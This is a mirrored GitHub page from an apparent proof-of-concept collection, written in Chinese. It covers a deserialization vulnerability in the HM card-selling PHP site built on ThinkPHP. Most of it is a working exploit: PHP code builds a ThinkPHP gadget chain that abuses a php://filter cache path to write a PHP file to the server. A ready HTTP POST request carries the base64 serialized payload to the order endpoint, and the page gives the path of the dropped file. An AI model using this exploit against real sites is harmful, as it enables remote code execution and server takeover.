mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
153 lines
5.0 KiB
Markdown
153 lines
5.0 KiB
Markdown
|
|
## HM发卡网反序列化漏洞
|
|||
|
|
|
|||
|
|
源码下载地址:https://551f.lanzoub.com/iruk9wu9czi?w
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 反序列数据生成poc
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
<?php
|
|||
|
|
namespace think\process\pipes;
|
|||
|
|
use think\model\Pivot;
|
|||
|
|
class Pipes{
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
class Windows extends Pipes{
|
|||
|
|
private $files=[];
|
|||
|
|
function __construct(){
|
|||
|
|
$this->files=[new Pivot()];
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
namespace think;
|
|||
|
|
use think\model\relation\HasOne; // use 这里是函数名 用大写开头 写成了use think\model\relation\hasOne;
|
|||
|
|
use think\console\Output;
|
|||
|
|
abstract class Model{
|
|||
|
|
protected $append = [];
|
|||
|
|
protected $error;
|
|||
|
|
public $parent; // 类型写错写错了 写成了 protected $parent;
|
|||
|
|
public function __construct(){
|
|||
|
|
$this->append=["getError"];
|
|||
|
|
$this->error=new HasOne();
|
|||
|
|
$this->parent=new Output();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\model\relation;
|
|||
|
|
use think\model\Relation;
|
|||
|
|
class HasOne extends OneToOne{
|
|||
|
|
function __construct(){
|
|||
|
|
parent::__construct();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\model;
|
|||
|
|
use think\db\Query;
|
|||
|
|
abstract class Relation{
|
|||
|
|
protected $selfRelation;
|
|||
|
|
protected $query;
|
|||
|
|
function __construct(){
|
|||
|
|
$this->selfRelation=false;
|
|||
|
|
$this->query= new Query();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\console;
|
|||
|
|
use think\session\driver\Memcache;
|
|||
|
|
class Output{
|
|||
|
|
private $handle = null;
|
|||
|
|
protected $styles = []; //类型错了 写成了private $styles = [];
|
|||
|
|
function __construct(){
|
|||
|
|
$this->styles=['getAttr']; //这个条件忘记加了 注意上下文
|
|||
|
|
$this->handle=new Memcache();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\db;
|
|||
|
|
use think\console\Output;
|
|||
|
|
class Query{
|
|||
|
|
protected $model;
|
|||
|
|
function __construct(){
|
|||
|
|
$this->model= new Output();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\model\relation;
|
|||
|
|
use think\model\Relation;
|
|||
|
|
abstract class OneToOne extends Relation{
|
|||
|
|
|
|||
|
|
protected $bindAttr = [];
|
|||
|
|
function __construct(){
|
|||
|
|
parent::__construct();
|
|||
|
|
$this->bindAttr=["kanjin","kanjin"];
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\session\driver;
|
|||
|
|
use think\cache\driver\File;
|
|||
|
|
class Memcache{
|
|||
|
|
protected $handler = null;
|
|||
|
|
function __construct(){
|
|||
|
|
$this->handler=new File();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\cache\driver;
|
|||
|
|
use think\cache\Driver;
|
|||
|
|
class File extends Driver{
|
|||
|
|
protected $options=[];
|
|||
|
|
function __construct(){
|
|||
|
|
parent::__construct();
|
|||
|
|
$this->options = [
|
|||
|
|
'expire' => 0,
|
|||
|
|
'cache_subdir' => false,
|
|||
|
|
'prefix' => '',
|
|||
|
|
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
|
|||
|
|
'data_compress' => false,
|
|||
|
|
];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\cache;
|
|||
|
|
abstract class Driver{
|
|||
|
|
protected $tag;
|
|||
|
|
function __construct(){
|
|||
|
|
$this->tag=true;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
namespace think\model;
|
|||
|
|
use think\Model;
|
|||
|
|
class Pivot extends Model{
|
|||
|
|
}
|
|||
|
|
use think\process\pipes\Windows;
|
|||
|
|
echo base64_encode(serialize(new Windows()));
|
|||
|
|
|
|||
|
|
//
|
|||
|
|
?>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 利用poc
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /index.php/shop/order/orderContent?order_no=1 HTTP/1.1
|
|||
|
|
Host: x.x.x.x
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
|
|||
|
|
|
|||
|
|
search_content=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTE6IgAqAGJpbmRBdHRyIjthOjI6e2k6MDtzOjY6ImthbmppbiI7aToxO3M6Njoia2FuamluIjt9czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjI5OiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZSI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMTA6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ2NHaHdhVzVtYnlncE96OCtJQT09Ly4uL2EucGhwIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtiOjE7fX1zOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9fX19czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjI5OiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZSI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMTA6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ2NHaHdhVzVtYnlncE96OCtJQT09Ly4uL2EucGhwIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtiOjE7fX1zOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9fX19fQ==
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
文件路径
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
http://127.0.0.1/a.php3b58a9545013e88c7186db11bb158c44.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|